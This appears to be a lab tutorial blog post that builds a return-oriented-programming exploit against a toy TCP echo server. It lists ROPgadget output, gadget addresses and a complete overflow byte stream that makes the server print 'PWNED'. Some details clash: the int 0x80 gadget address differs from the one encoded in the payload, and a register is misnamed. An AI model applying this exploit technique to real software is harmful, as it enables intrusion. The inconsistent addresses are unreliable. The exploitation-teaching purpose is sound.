Exploit Writing – ROP exploit

Tools used: GDB, ROPGadgets.

Following my last post about Exploit writing – Buffer Overflow. in this demo, return-oriented programming (ROP) exploit has been crafted against a simple TCP echo server to print a message on the server console.

What is ROP exploit?

A return-oriented-programming exploit is a concept of chaining together pieces of code (which already exist in memory) called gadgets together to form a payload of choice to exploit a program after successfully overflowing the buffer.

(Prandini & Ramilli, 2012).

Plan

The first step in crafting an ROP exploit is to plan what your gadgets need to do. For the purpose of this task, the plan is to chain together a few gadgets to perform a write sys call to write “PWNED  ” on the server terminal.

The write syscall (32 bit) looks like this:

Figure 1

the “msg” and “msglen” in Figure 1 above are referring to the message to be printed and its length, for this the address where the message is stored can be passed to the ecx register.

As I plan to place my string “PWNED  ” at the start of the buffer. Therefore, The address of the string, in this case, would be the start of the buffer so, 0xf7ff763c (as shown in the previous post)

And the length of my message is 8 bytes long including 2 spaces and /00 at the end.

So, the machine instructions needed would be as follows:

  mov eax, 4

  mov ebx, 1

  mov ecx, 0xf7ff763c

  mov edx, 8

  int 0x80

We also need to restore the program to its normal flow by passing finding a suitable gadget to a jmp instruction to an address within the program, The return address can be found using the same way (using Objdump) as the return address found for the previous post.

below is the address I have found: 0x0804a1b8

Figure 2

presentation of how my rop chain should look like

Figure 3

Finding gadgets

Now let’s find some gadgets to allow the above instructions to execute. ROPgadget is powerfull tool to generate gadgets. It can be installed and used using the following command:

[cyber@cyberbox ~]$ ROPgadget –binary  ./ex7_nx – ropchain  > rop  

Running the above command managed to find about 43594 unique gadgets – not all of them are useful as useful gadgets end in ret.

The gadgets dictionary provided by Saumil Shah (2013) was used to help find useful gadgets and find alternative gadgets to do the same instruction.

Instruction 1: mov eax, 4

This means register eax must store a value of 4. The instruction doesn’t have to be mov eax, 4 other instructions such as

Pop eax; ret

Then pass the value to be stored in eax.

For this I have found a useful gadget:

gadget 1:          0x0805ba6a :   pop eax ;          ret

gadgets chain so far:

Figure 4

Instruction 2: mov ecx,  0xf7ff763c      

This means register ecx must store the location of string : 0xf7ff763c. For this I have found a useful gadget:

gadget 2:          0x080a2887 :    pop ecx ;          ret

Figure 5

Instruction 3: mov ebx, 1 and mov edx, 8

This means register eax must store a value of 8 (the length of the string). For these two instructions I have found a useful gadget:

gadget 3:          0x08083c06 :   pop edx ;          pop ebx ;          pop esi ;           ret

Figure 6

Instruction 4:  int 0x80

This is to the make syscall. For this I have found a useful gadget

gadget 4:          0x0808e40c :   int 0x80

Figure 7

Instruction 5: jmp Jmp 0x0804a1b8

This gadget will allow the program to return to its normal flow after the write syscall

For this I have found a useful gadget:

gadget 5:          0x0804a0bc :   jmp 0x804a1b8  

Figure 8

The above table shows the complete chain of gadgets to make a write syscall to print the message. The middle column is the addresses (and values) of each gadget and that is what will be passed to the program to execute them. After converting them all to the little-endian, this is what they look like:

\x6a\xba\x05\x08\x04\x00\x00\x00\x87\x28\x0a\x08\x3c\x76\xff\xf7\x06\x3c\x08\x08\x08\x00\x00\x00\x01\x00\x00\x00BBBB\xc0\xe4\x08\x08\xbc\xa0\x04\x08

Building byte stream

To construct the entire byte stream, some things need to be taken care of:

  • Passing the message string with the byte stream
  • Ensuring the buffer gets overflown
  • Overwriting the return address to redirect the program to go to the first gadget

A gadget is needed to overwrite the return address. This can be done by overwriting the esp (saved pointer) to the location of the first gadget.

For this I have found a useful gadget:

Gadget 6:         0x0805ba1a :   pop esp ;         ret

Now, the entire bytestream should be as follows

Figure 9

Byte stream:

PWNED  \x00\x6a\xba\x05\x08\x04\x00\x00\x00\x87\x28\x0a\x08\x3c\x76\xff\xf7\x06\x3c\x08\x08\x08\x00\x00\x00\x01\x00\x00\x00BBBB\xc0\xe4\x08\x08\xbc\xa0\x04\x08AAAAAAAAAAAA\xb8\x76\xff\xf7\x1a\xba\x05\x08\x44\x76\xff\xf7

The figure below shows the write sys call when the above byte stream is passed to the server:

Figure 10

The server does not crash, and this can be proven by establishing a new connection with a server from a different client as shown in figure 11 below:

Figure 11

Thank you for reading!